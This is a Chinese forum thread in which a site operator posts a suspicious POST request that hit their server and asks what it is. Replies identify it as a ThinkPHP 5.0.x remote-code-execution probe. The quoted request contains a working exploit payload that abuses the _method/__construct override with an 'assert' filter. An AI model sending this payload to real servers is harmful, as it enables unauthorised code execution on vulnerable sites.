线上收到了这样的一条 POST 请求

[xzYao]

线上收到了这样的一条 POST 请求：

curl
-X POST
-H "Cache-Control: no-cache"
-H "Connection: Keep-Alive"
-H "Content-Length: 196"
-H "Content-Type: application/x-www-form-urlencoded"
-H "Host: 115.159.128.48"
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
--data "{"filter":["assert"],"server":{"REQUEST_METHOD":"die(md5(DIRECTORY_SEPARATOR))"},"_method":"__construct"}"
"http://115.159.128.48/index.php"

这个看着不像是正常的请求，而且它触发了这样一个报错：

Symfony\Component\HttpFoundation\Exception\SuspiciousOperationException: Invalid method override "__CONSTRUCT".

无效的方法重写？有人知道这样的请求是什么意思，为什么会尝试覆盖构造方法吗？

[bunnyblueair]

ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析 不能发连接

[beastk]

测试是否存在漏洞的吧

[Tyler1989]

@beastk dalao，你的网站挂了

[beastk]

@Tyler1989 #3 哪个

[Tyler1989]

@beastk xkcd.in